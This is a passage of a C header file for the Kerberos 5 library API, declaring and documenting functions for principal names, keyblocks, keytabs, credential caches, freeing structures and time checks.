Principal * @param [in] flags Flags * @param [out] name String representation of principal name * * Similar to krb5_unparse_name(), this function converts a krb5_principal * structure to a string representation. * * The following flags are valid: * @li #KRB5_PRINCIPAL_UNPARSE_SHORT - omit realm if it is the local realm * @li #KRB5_PRINCIPAL_UNPARSE_NO_REALM - omit realm * @li #KRB5_PRINCIPAL_UNPARSE_DISPLAY - do not quote special characters * * Use krb5_free_unparsed_name() to free @a name when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes. On failure @a name is set to NULL */ krb5_error_code KRB5_CALLCONV krb5_unparse_name_flags(krb5_context context, krb5_const_principal principal, int flags, char **name); /** * Convert krb5_principal structure to string format with flags. * * @param [in] context Library context * @param [in] principal Principal * @param [in] flags Flags * @param [out] name Single string format of principal name * @param [out] size Size of unparsed name buffer * * @sa krb5_unparse_name() krb5_unparse_name_flags() krb5_unparse_name_ext() * * @retval * 0 Success * @return * Kerberos error codes. On failure @a name is set to NULL */ krb5_error_code KRB5_CALLCONV krb5_unparse_name_flags_ext(krb5_context context, krb5_const_principal principal, int flags, char **name, unsigned int *size); /** * Set the realm field of a principal * * @param [in] context Library context * @param [in] principal Principal name * @param [in] realm Realm name * * Set the realm name part of @a principal to @a realm, overwriting the * previous realm. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_set_principal_realm(krb5_context context, krb5_principal principal, const char *realm); /** * Search a list of addresses for a specified address. * * @param [in] context Library context * @param [in] addr Address to search for * @param [in] addrlist Address list to be searched (or NULL) * * @note If @a addrlist contains only a NetBIOS addresses, it will be treated * as a null list. * * @return * TRUE if @a addr is listed in @a addrlist, or @c addrlist is NULL; FALSE * otherwise */ krb5_boolean KRB5_CALLCONV_WRONG krb5_address_search(krb5_context context, const krb5_address *addr, krb5_address *const *addrlist); /** * Compare two Kerberos addresses. * * @param [in] context Library context * @param [in] addr1 First address to be compared * @param [in] addr2 Second address to be compared * * @return * TRUE if the addresses are the same, FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_address_compare(krb5_context context, const krb5_address *addr1, const krb5_address *addr2); /** * Return an ordering of the specified addresses. * * @param [in] context Library context * @param [in] addr1 First address * @param [in] addr2 Second address * * @retval * 0 The two addresses are the same * @retval * \< 0 First address is less than second * @retval * \> 0 First address is greater than second */ int KRB5_CALLCONV krb5_address_order(krb5_context context, const krb5_address *addr1, const krb5_address *addr2); /** * Compare the realms of two principals. * * @param [in] context Library context * @param [in] princ1 First principal * @param [in] princ2 Second principal * * @retval * TRUE if the realm names are the same; FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_realm_compare(krb5_context context, krb5_const_principal princ1, krb5_const_principal princ2); /** * Compare two principals. * * @param [in] context Library context * @param [in] princ1 First principal * @param [in] princ2 Second principal * * @retval * TRUE if the principals are the same; FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_principal_compare(krb5_context context, krb5_const_principal princ1, krb5_const_principal princ2); /** * Compare two principals ignoring realm components. * * @param [in] context Library context * @param [in] princ1 First principal * @param [in] princ2 Second principal * * Similar to krb5_principal_compare(), but do not compare the realm * components of the principals. * * @retval * TRUE if the principals are the same; FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_principal_compare_any_realm(krb5_context context, krb5_const_principal princ1, krb5_const_principal princ2); #define KRB5_PRINCIPAL_COMPARE_IGNORE_REALM 1 /**< ignore realm component */ #define KRB5_PRINCIPAL_COMPARE_ENTERPRISE 2 /**< UPNs as real principals */ #define KRB5_PRINCIPAL_COMPARE_CASEFOLD 4 /**< case-insensitive */ #define KRB5_PRINCIPAL_COMPARE_UTF8 8 /**< treat principals as UTF-8 */ /** * Compare two principals with additional flags. * * @param [in] context Library context * @param [in] princ1 First principal * @param [in] princ2 Second principal * @param [in] flags Flags * * Valid flags are: * @li #KRB5_PRINCIPAL_COMPARE_IGNORE_REALM - ignore realm component * @li #KRB5_PRINCIPAL_COMPARE_ENTERPRISE - UPNs as real principals * @li #KRB5_PRINCIPAL_COMPARE_CASEFOLD case-insensitive * @li #KRB5_PRINCIPAL_COMPARE_UTF8 - treat principals as UTF-8 * * @sa krb5_principal_compare() * * @retval * TRUE if the principal names are the same; FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_principal_compare_flags(krb5_context context, krb5_const_principal princ1, krb5_const_principal princ2, int flags); /** * Initialize an empty @c krb5_keyblock. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] length Length of keyblock (or 0) * @param [out] out New keyblock structure * * Initialize a new keyblock and allocate storage for the contents of the key. * It is legal to pass in a length of 0, in which case contents are left * unallocated. Use krb5_free_keyblock() to free @a out when it is no longer * needed. * * @note If @a length is set to 0, contents are left unallocated. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_keyblock(krb5_context context, krb5_enctype enctype, size_t length, krb5_keyblock **out); /** * Copy a keyblock. * * @param [in] context Library context * @param [in] from Keyblock to be copied * @param [out] to Copy of keyblock @a from * * This function creates a new keyblock with the same contents as @a from. Use * krb5_free_keyblock() to free @a to when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_keyblock(krb5_context context, const krb5_keyblock *from, krb5_keyblock **to); /** * Copy the contents of a keyblock. * * @param [in] context Library context * @param [in] from Key to be copied * @param [out] to Output key * * This function copies the contents of @a from to @a to. Use * krb5_free_keyblock_contents() to free @a to when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_keyblock_contents(krb5_context context, const krb5_keyblock *from, krb5_keyblock *to); /** * Copy a krb5_creds structure. * * @param [in] context Library context * @param [in] incred Credentials structure to be copied * @param [out] outcred Copy of @a incred * * This function creates a new credential with the contents of @a incred. Use * krb5_free_creds() to free @a outcred when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_creds(krb5_context context, const krb5_creds *incred, krb5_creds **outcred); /** * Copy a krb5_data object. * * @param [in] context Library context * @param [in] indata Data object to be copied * @param [out] outdata Copy of @a indata * * This function creates a new krb5_data object with the contents of @a indata. * Use krb5_free_data() to free @a outdata when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_data(krb5_context context, const krb5_data *indata, krb5_data **outdata); /** * Copy a principal. * * @param [in] context Library context * @param [in] inprinc Principal to be copied * @param [out] outprinc Copy of @a inprinc * * This function creates a new principal structure with the contents of @a * inprinc. Use krb5_free_principal() to free @a outprinc when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_principal(krb5_context context, krb5_const_principal inprinc, krb5_principal *outprinc); /** * Copy an array of addresses. * * @param [in] context Library context * @param [in] inaddr Array of addresses to be copied * @param [out] outaddr Copy of array of addresses * * This function creates a new address array containing a copy of @a inaddr. * Use krb5_free_addresses() to free @a outaddr when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_addresses(krb5_context context, krb5_address *const *inaddr, krb5_address ***outaddr); /** * Copy a krb5_ticket structure. * * @param [in] context Library context * @param [in] from Ticket to be copied * @param [out] pto Copy of ticket * * This function creates a new krb5_ticket structure containing the contents of * @a from. Use krb5_free_ticket() to free @a pto when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_ticket(krb5_context context, const krb5_ticket *from, krb5_ticket **pto); /** * Copy an authorization data list. * * @param [in] context Library context * @param [in] in_authdat List of @a krb5_authdata structures * @param [out] out New array of @a krb5_authdata structures * * This function creates a new authorization data list containing a copy of @a * in_authdat, which must be null-terminated. Use krb5_free_authdata() to free * @a out when it is no longer needed. * * @note The last array entry in @a in_authdat must be a NULL pointer. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_authdata(krb5_context context, krb5_authdata *const *in_authdat, krb5_authdata ***out); /** * Find authorization data elements. * * @param [in] context Library context * @param [in] ticket_authdata Authorization data list from ticket * @param [in] ap_req_authdata Authorization data list from AP request * @param [in] ad_type Authorization data type to find * @param [out] results List of matching entries * * This function searches @a ticket_authdata and @a ap_req_authdata for * elements of type @a ad_type. Either input list may be NULL, in which case * it will not be searched; otherwise, the input lists must be terminated by * NULL entries. This function will search inside AD-IF-RELEVANT containers if * found in either list. Use krb5_free_authdata() to free @a results when it * is no longer needed. * * @version New in 1.10 */ krb5_error_code KRB5_CALLCONV krb5_find_authdata(krb5_context context, krb5_authdata *const *ticket_authdata, krb5_authdata *const *ap_req_authdata, krb5_authdatatype ad_type, krb5_authdata ***results); /** * Merge two authorization data lists into a new list. * * @param [in] context Library context * @param [in] inauthdat1 First list of @a krb5_authdata structures * @param [in] inauthdat2 Second list of @a krb5_authdata structures * @param [out] outauthdat Merged list of @a krb5_authdata structures * * Merge two authdata arrays, such as the array from a ticket * and authenticator. * Use krb5_free_authdata() to free @a outauthdat when it is no longer needed. * * @note The last array entry in @a inauthdat1 and @a inauthdat2 * must be a NULL pointer. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_merge_authdata(krb5_context context, krb5_authdata *const *inauthdat1, krb5_authdata * const *inauthdat2, krb5_authdata ***outauthdat); /** * Copy a krb5_authenticator structure. * * @param [in] context Library context * @param [in] authfrom krb5_authenticator structure to be copied * @param [out] authto Copy of krb5_authenticator structure * * This function creates a new krb5_authenticator structure with the content of * @a authfrom. Use krb5_free_authenticator() to free @a authto when it is no * longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_authenticator(krb5_context context, const krb5_authenticator *authfrom, krb5_authenticator **authto); /** * Copy a krb5_checksum structure. * * @param [in] context Library context * @param [in] ckfrom Checksum to be copied * @param [out] ckto Copy of krb5_checksum structure * * This function creates a new krb5_checksum structure with the contents of @a * ckfrom. Use krb5_free_checksum() to free @a ckto when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_checksum(krb5_context context, const krb5_checksum *ckfrom, krb5_checksum **ckto); /** * Generate a replay cache object for server use and open it. * * @param [in] context Library context * @param [in] piece Unused (replay cache identifier) * @param [out] rcptr Handle to an open rcache * * This function creates a handle to the default replay cache. Use * krb5_rc_close() to close @a rcptr when it is no longer needed. * * @version Prior to release 1.18, this function creates a handle to a * different replay cache for each unique value of @a piece. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_server_rcache(krb5_context context, const krb5_data *piece, krb5_rcache *rcptr); /** * Build a principal name using length-counted strings. * * @param [in] context Library context * @param [out] princ Principal name * @param [in] rlen Realm name length * @param [in] realm Realm name * @param [in] ... List of unsigned int/char * components, followed by 0 * * This function creates a principal from a length-counted string and a * variable-length list of length-counted components. The list of components * ends with the first 0 length argument (so it is not possible to specify an * empty component with this function). Call krb5_free_principal() to free * allocated memory for principal when it is no longer needed. * * @code * Example of how to build principal WELLKNOWN/ANONYMOUS@R * krb5_build_principal_ext(context, &principal, strlen("R"), "R", * (unsigned int)strlen(KRB5_WELLKNOWN_NAMESTR), * KRB5_WELLKNOWN_NAMESTR, * (unsigned int)strlen(KRB5_ANONYMOUS_PRINCSTR), * KRB5_ANONYMOUS_PRINCSTR, 0); * @endcode * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV_C krb5_build_principal_ext(krb5_context context, krb5_principal * princ, unsigned int rlen, const char * realm, ...); /** * Build a principal name using null-terminated strings. * * @param [in] context Library context * @param [out] princ Principal name * @param [in] rlen Realm name length * @param [in] realm Realm name * @param [in] ... List of char * components, ending with NULL * * Call krb5_free_principal() to free @a princ when it is no longer needed. * * @note krb5_build_principal() and krb5_build_principal_alloc_va() perform the * same task. krb5_build_principal() takes variadic arguments. * krb5_build_principal_alloc_va() takes a pre-computed @a varargs pointer. * * @code * Example of how to build principal H/S@R * krb5_build_principal(context, &principal, * strlen("R"), "R", "H", "S", (char*)NULL); * @endcode * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV_C krb5_build_principal(krb5_context context, krb5_principal * princ, unsigned int rlen, const char * realm, ...) #if __GNUC__ >= 4 __attribute__ ((sentinel)) #endif ; #if KRB5_DEPRECATED /** @deprecated Replaced by krb5_build_principal_alloc_va(). */ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_build_principal_va(krb5_context context, krb5_principal princ, unsigned int rlen, const char *realm, va_list ap); #endif /** * Build a principal name, using a precomputed variable argument list * * @param [in] context Library context * @param [out] princ Principal structure * @param [in] rlen Realm name length * @param [in] realm Realm name * @param [in] ap List of char * components, ending with NULL * * Similar to krb5_build_principal(), this function builds a principal name, * but its name components are specified as a va_list. * * Use krb5_free_principal() to deallocate @a princ when it is no longer * needed. * * @code * Function usage example: * va_list ap; * va_start(ap, realm); * krb5_build_principal_alloc_va(context, princ, rlen, realm, ap); * va_end(ap); * @endcode * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_build_principal_alloc_va(krb5_context context, krb5_principal *princ, unsigned int rlen, const char *realm, va_list ap); /** * Convert a Kerberos V4 principal to a Kerberos V5 principal. * * @param [in] context Library context * @param [in] name V4 name * @param [in] instance V4 instance * @param [in] realm Realm * @param [out] princ V5 principal * * This function builds a @a princ from V4 specification based on given input * @a name.instance\@realm. * * Use krb5_free_principal() to free @a princ when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_425_conv_principal(krb5_context context, const char *name, const char *instance, const char *realm, krb5_principal *princ); /** * Convert a Kerberos V5 principal to a Kerberos V4 principal. * * @param [in] context Library context * @param [in] princ V5 Principal * @param [out] name V4 principal's name to be filled in * @param [out] inst V4 principal's instance name to be filled in * @param [out] realm Principal's realm name to be filled in * * This function separates a V5 principal @a princ into @a name, @a instance, * and @a realm. * * @retval * 0 Success * @retval * KRB5_INVALID_PRINCIPAL Invalid principal name * @retval * KRB5_CONFIG_CANTOPEN Can't open or find Kerberos configuration file * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_524_conv_principal(krb5_context context, krb5_const_principal princ, char *name, char *inst, char *realm); /** *@deprecated */ struct credentials; /** * Convert a Kerberos V5 credentials to a Kerberos V4 credentials * * @note Not implemented * * @retval KRB524_KRB4_DISABLED (always) */ int KRB5_CALLCONV krb5_524_convert_creds(krb5_context context, krb5_creds *v5creds, struct credentials *v4creds); #if KRB5_DEPRECATED #define krb524_convert_creds_kdc krb5_524_convert_creds #define krb524_init_ets(x) (0) #endif /* libkt.spec */ /** * Get a handle for a key table. * * @param [in] context Library context * @param [in] name Name of the key table * @param [out] ktid Key table handle * * Resolve the key table name @a name and set @a ktid to a handle identifying * the key table. Use krb5_kt_close() to free @a ktid when it is no longer * needed. * * @a name must be of the form @c type:residual, where @a type must be a type * known to the library and @a residual portion should be specific to the * particular keytab type. If no @a type is given, the default is @c FILE. * * If @a name is of type @c FILE, the keytab file is not opened by this call. * * @code * Example: krb5_kt_resolve(context, "FILE:/tmp/filename", &ktid); * @endcode * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_resolve(krb5_context context, const char *name, krb5_keytab *ktid); /** * Duplicate keytab handle. * * @param [in] context Library context * @param [in] in Key table handle to be duplicated * @param [out] out Key table handle * * Create a new handle referring to the same key table as @a in. The new * handle and @a in can be closed independently. * * @version New in 1.12 */ krb5_error_code KRB5_CALLCONV krb5_kt_dup(krb5_context context, krb5_keytab in, krb5_keytab *out); /** * Get the default key table name. * * @param [in] context Library context * @param [out] name Default key table name * @param [in] name_size Space available in @a name * * Fill @a name with the name of the default key table for @a context. * * @sa MAX_KEYTAB_NAME_LEN * * @retval * 0 Success * @retval * KRB5_CONFIG_NOTENUFSPACE Buffer is too short * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_default_name(krb5_context context, char *name, int name_size); /** * Resolve the default key table. * * @param [in] context Library context * @param [out] id Key table handle * * Set @a id to a handle to the default key table. The key table is not * opened. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_default(krb5_context context, krb5_keytab *id); /** * Resolve the default client key table. * * @param [in] context Library context * @param [out] keytab_out Key table handle * * Fill @a keytab_out with a handle to the default client key table. * * @version New in 1.11 * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_client_default(krb5_context context, krb5_keytab *keytab_out); /** * Free the contents of a key table entry. * * @param [in] context Library context * @param [in] entry Key table entry whose contents are to be freed * * @note The pointer is not freed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_free_keytab_entry_contents(krb5_context context, krb5_keytab_entry *entry); /** @deprecated Use krb5_free_keytab_entry_contents instead. */ krb5_error_code KRB5_CALLCONV krb5_kt_free_entry(krb5_context context, krb5_keytab_entry *entry); /* remove and add are functions, so that they can return NOWRITE if not a writable keytab */ /** * Remove an entry from a key table. * * @param [in] context Library context * @param [in] id Key table handle * @param [in] entry Entry to remove from key table * * @retval * 0 Success * @retval * KRB5_KT_NOWRITE Key table is not writable * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_remove_entry(krb5_context context, krb5_keytab id, krb5_keytab_entry *entry); /** * Add a new entry to a key table. * * @param [in] context Library context * @param [in] id Key table handle * @param [in] entry Entry to be added * * @retval * 0 Success * @retval * ENOMEM Insufficient memory * @retval * KRB5_KT_NOWRITE Key table is not writeable * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_add_entry(krb5_context context, krb5_keytab id, krb5_keytab_entry *entry); /** * Convert a principal name into the default salt for that principal. * * @param [in] context Library context * @param [in] pr Principal name * @param [out] ret Default salt for @a pr to be filled in * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV_WRONG krb5_principal2salt(krb5_context context, krb5_const_principal pr, krb5_data *ret); /* librc.spec--see rcache.h */ /* libcc.spec */ /** * Resolve a credential cache name. * * @param [in] context Library context * @param [in] name Credential cache name to be resolved * @param [out] cache Credential cache handle * * Fills in @a cache with a @a cache handle that corresponds to the name in @a * name. @a name should be of the form @c type:residual, and @a type must be a * type known to the library. If the @a name does not contain a colon, * interpret it as a file name. * * @code * Example: krb5_cc_resolve(context, "MEMORY:C_", &cache); * @endcode * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_resolve(krb5_context context, const char *name, krb5_ccache *cache); /** * Duplicate ccache handle. * * @param [in] context Library context * @param [in] in Credential cache handle to be duplicated * @param [out] out Credential cache handle * * Create a new handle referring to the same cache as @a in. * The new handle and @a in can be closed independently. */ krb5_error_code KRB5_CALLCONV krb5_cc_dup(krb5_context context, krb5_ccache in, krb5_ccache *out); /** * Return the name of the default credential cache. * * @param [in] context Library context * * Return a pointer to the default credential cache name for @a context, as * determined by a prior call to krb5_cc_set_default_name(), by the KRB5CCNAME * environment variable, by the default_ccache_name profile variable, or by the * operating system or build-time default value. The returned value must not * be modified or freed by the caller. The returned value becomes invalid when * @a context is destroyed krb5_free_context() or if a subsequent call to * krb5_cc_set_default_name() is made on @a context. * * The default credential cache name is cached in @a context between calls to * this function, so if the value of KRB5CCNAME changes in the process * environment after the first call to this function on, that change will not * be reflected in later calls with the same context. The caller can invoke * krb5_cc_set_default_name() with a NULL value of @a name to clear the cached * value and force the default name to be recomputed. * * @return * Name of default credential cache for the current user. */ const char *KRB5_CALLCONV krb5_cc_default_name(krb5_context context); /** * Set the default credential cache name. * * @param [in] context Library context * @param [in] name Default credential cache name or NULL * * Set the default credential cache name to @a name for future operations using * @a context. If @a name is NULL, clear any previous application-set default * name and forget any cached value of the default name for @a context. * * Calls to this function invalidate the result of any previous calls to * krb5_cc_default_name() using @a context. * * @retval * 0 Success * @retval * KV5M_CONTEXT Bad magic number for @c _krb5_context structure * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_set_default_name(krb5_context context, const char *name); /** * Resolve the default credential cache name. * * @param [in] context Library context * @param [out] ccache Pointer to credential cache name * * Create a handle to the default credential cache as given by * krb5_cc_default_name(). * * @retval * 0 Success * @retval * KV5M_CONTEXT Bad magic number for @c _krb5_context structure * @retval * KRB5_FCC_INTERNAL The name of the default credential cache cannot be * obtained * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_default(krb5_context context, krb5_ccache *ccache); /** * Copy a credential cache. * * @param [in] context Library context * @param [in] incc Credential cache to be copied * @param [out] outcc Copy of credential cache to be filled in * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_copy_creds(krb5_context context, krb5_ccache incc, krb5_ccache outcc); /** * Get a configuration value from a credential cache. * * @param [in] context Library context * @param [in] id Credential cache handle * @param [in] principal Configuration for this principal; * if NULL, global for the whole cache * @param [in] key Name of config variable * @param [out] data Data to be fetched * * Use krb5_free_data_contents() to free @a data when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_get_config(krb5_context context, krb5_ccache id, krb5_const_principal principal, const char *key, krb5_data *data); /** * Store a configuration value in a credential cache. * * @param [in] context Library context * @param [in] id Credential cache handle * @param [in] principal Configuration for a specific principal; * if NULL, global for the whole cache * @param [in] key Name of config variable * @param [in] data Data to store, or NULL to remove * * @note Existing configuration under the same key is over-written. * * @warning Before version 1.10 @a data was assumed to be always non-null. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_set_config(krb5_context context, krb5_ccache id, krb5_const_principal principal, const char *key, krb5_data *data); /** * Test whether a principal is a configuration principal. * * @param [in] context Library context * @param [in] principal Principal to check * * @return * @c TRUE if the principal is a configuration principal (generated part of * krb5_cc_set_config()); @c FALSE otherwise. */ krb5_boolean KRB5_CALLCONV krb5_is_config_principal(krb5_context context, krb5_const_principal principal); /** * Make a credential cache the primary cache for its collection. * * @param [in] context Library context * @param [in] cache Credential cache handle * * If the type of @a cache supports it, set @a cache to be the primary * credential cache for the collection it belongs to. * * @retval * 0 Success, or the type of @a cache doesn't support switching * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_switch(krb5_context context, krb5_ccache cache); /** * Determine whether a credential cache type supports switching. * * @param [in] context Library context * @param [in] type Credential cache type * * @version New in 1.10 * * @retval TRUE if @a type supports switching * @retval FALSE if it does not or is not a valid credential cache type. */ krb5_boolean KRB5_CALLCONV krb5_cc_support_switch(krb5_context context, const char *type); /** * Find a credential cache with a specified client principal. * * @param [in] context Library context * @param [in] client Client principal * @param [out] cache_out Credential cache handle * * Find a cache within the collection whose default principal is @a client. * Use @a krb5_cc_close to close @a ccache when it is no longer needed. * * @retval 0 Success * @retval KRB5_CC_NOTFOUND * * @sa krb5_cccol_cursor_new * * @version New in 1.10 */ krb5_error_code KRB5_CALLCONV krb5_cc_cache_match(krb5_context context, krb5_principal client, krb5_ccache *cache_out); /** * Select a credential cache to use with a server principal. * * @param [in] context Library context * @param [in] server Server principal * @param [out] cache_out Credential cache handle * @param [out] princ_out Client principal * * Select a cache within the collection containing credentials most appropriate * for use with @a server, according to configured rules and heuristics. * * Use krb5_cc_close() to release @a cache_out when it is no longer needed. * Use krb5_free_principal() to release @a princ_out when it is no longer * needed. Note that @a princ_out is set in some error conditions. * * @return * If an appropriate cache is found, 0 is returned, @a cache_out is set to the * selected cache, and @a princ_out is set to the default principal of that * cache. * * If the appropriate client principal can be authoritatively determined but * the cache collection contains no credentials for that principal, then * KRB5_CC_NOTFOUND is returned, @a cache_out is set to NULL, and @a princ_out * is set to the appropriate client principal. * * If no configured mechanism can determine the appropriate cache or principal, * KRB5_CC_NOTFOUND is returned and @a cache_out and @a princ_out are set to * NULL. * * Any other error code indicates a fatal error in the processing of a cache * selection mechanism. * * @version New in 1.10 */ krb5_error_code KRB5_CALLCONV krb5_cc_select(krb5_context context, krb5_principal server, krb5_ccache *cache_out, krb5_principal *princ_out); /* krb5_free.c */ /** * Free the storage assigned to a principal. * * @param [in] context Library context * @param [in] val Principal to be freed */ void KRB5_CALLCONV krb5_free_principal(krb5_context context, krb5_principal val); /** * Free a krb5_authenticator structure. * * @param [in] context Library context * @param [in] val Authenticator structure to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_authenticator(krb5_context context, krb5_authenticator *val); /** * Free the data stored in array of addresses. * * @param [in] context Library context * @param [in] val Array of addresses to be freed * * This function frees the contents of @a val and the array itself. * * @note The last entry in the array must be a NULL pointer. */ void KRB5_CALLCONV krb5_free_addresses(krb5_context context, krb5_address **val); /** * Free the storage assigned to array of authentication data. * * @param [in] context Library context * @param [in] val Array of authentication data to be freed * * This function frees the contents of @a val and the array itself. * * @note The last entry in the array must be a NULL pointer. */ void KRB5_CALLCONV krb5_free_authdata(krb5_context context, krb5_authdata **val); /** * Free a ticket. * * @param [in] context Library context * @param [in] val Ticket to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_ticket(krb5_context context, krb5_ticket *val); /** * Free an error allocated by krb5_read_error() or krb5_sendauth(). * * @param [in] context Library context * @param [in] val Error data structure to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_error(krb5_context context, krb5_error *val); /** * Free a krb5_creds structure. * * @param [in] context Library context * @param [in] val Credential structure to be freed. * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_creds(krb5_context context, krb5_creds *val); /** * Free the contents of a krb5_creds structure. * * @param [in] context Library context * @param [in] val Credential structure to free contents of * * This function frees the contents of @a val, but not the structure itself. */ void KRB5_CALLCONV krb5_free_cred_contents(krb5_context context, krb5_creds *val); /** * Free a krb5_checksum structure. * * @param [in] context Library context * @param [in] val Checksum structure to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_checksum(krb5_context context, krb5_checksum *val); /** * Free the contents of a krb5_checksum structure. * * @param [in] context Library context * @param [in] val Checksum structure to free contents of * * This function frees the contents of @a val, but not the structure itself. */ void KRB5_CALLCONV krb5_free_checksum_contents(krb5_context context, krb5_checksum *val); /** * Free a krb5_keyblock structure. * * @param [in] context Library context * @param [in] val Keyblock to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_keyblock(krb5_context context, krb5_keyblock *val); /** * Free the contents of a krb5_keyblock structure. * * @param [in] context Library context * @param [in] key Keyblock to be freed * * This function frees the contents of @a key, but not the structure itself. */ void KRB5_CALLCONV krb5_free_keyblock_contents(krb5_context context, krb5_keyblock *key); /** * Free a krb5_ap_rep_enc_part structure. * * @param [in] context Library context * @param [in] val AP-REP enc part to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_ap_rep_enc_part(krb5_context context, krb5_ap_rep_enc_part *val); /** * Free a krb5_data structure. * * @param [in] context Library context * @param [in] val Data structure to be freed * * This function frees the contents of @a val and the structure itself. */ void KRB5_CALLCONV krb5_free_data(krb5_context context, krb5_data *val); /* Free a krb5_octet_data structure (should be unused). */ void KRB5_CALLCONV krb5_free_octet_data(krb5_context context, krb5_octet_data *val); /** * Free the contents of a krb5_data structure and zero the data field. * * @param [in] context Library context * @param [in] val Data structure to free contents of * * This function frees the contents of @a val, but not the structure itself. */ void KRB5_CALLCONV krb5_free_data_contents(krb5_context context, krb5_data *val); /** * Free a string representation of a principal. * * @param [in] context Library context * @param [in] val Name string to be freed */ void KRB5_CALLCONV krb5_free_unparsed_name(krb5_context context, char *val); /** * Free a string allocated by a krb5 function. * * @param [in] context Library context * @param [in] val String to be freed * * @version New in 1.10 */ void KRB5_CALLCONV krb5_free_string(krb5_context context, char *val); /** * Free an array of encryption types. * * @param [in] context Library context * @param [in] val Array of enctypes to be freed * * @version New in 1.12 */ void KRB5_CALLCONV krb5_free_enctypes(krb5_context context, krb5_enctype *val); /** * Free an array of checksum types. * * @param [in] context Library context * @param [in] val Array of checksum types to be freed */ void KRB5_CALLCONV krb5_free_cksumtypes(krb5_context context, krb5_cksumtype *val); /* From krb5/os, but needed by the outside world */ /** * Retrieve the system time of day, in sec and ms, since the epoch. * * @param [in] context Library context * @param [out] seconds System timeofday, seconds portion * @param [out] microseconds System timeofday, microseconds portion * * This function retrieves the system time of day with the context * specific time offset adjustment. * * @sa krb5_crypto_us_timeofday() * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_us_timeofday(krb5_context context, krb5_timestamp *seconds, krb5_int32 *microseconds); /** * Retrieve the current time with context specific time offset adjustment. * * @param [in] context Library context * @param [out] timeret Timestamp to fill in * * This function retrieves the system time of day with the context specific * time offset adjustment. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_timeofday(krb5_context context, krb5_timestamp *timeret); /** * Check if a timestamp is within the allowed clock skew of the current time. * * @param [in] context Library context * @param [in] date Timestamp to check * * This function checks if @a date is close enough to the current time * according to the configured allowable clock skew. * * @version New in 1.10 * * @retval 0 Success * @retval KRB5KRB_AP_ERR_SKEW @a date is not within allowable clock skew */ krb5_error_code KRB5_CALLCONV krb5_check_clockskew(krb5_context context, krb5_timestamp date); /** * Return all interface addresses for this host. * * @param [in] context Library context * @param [out] addr Array of krb5_address pointers, ending with * NULL * * Use krb5_free_addresses() to free @a addr when it is no longer needed. * * @retval 0 Success; 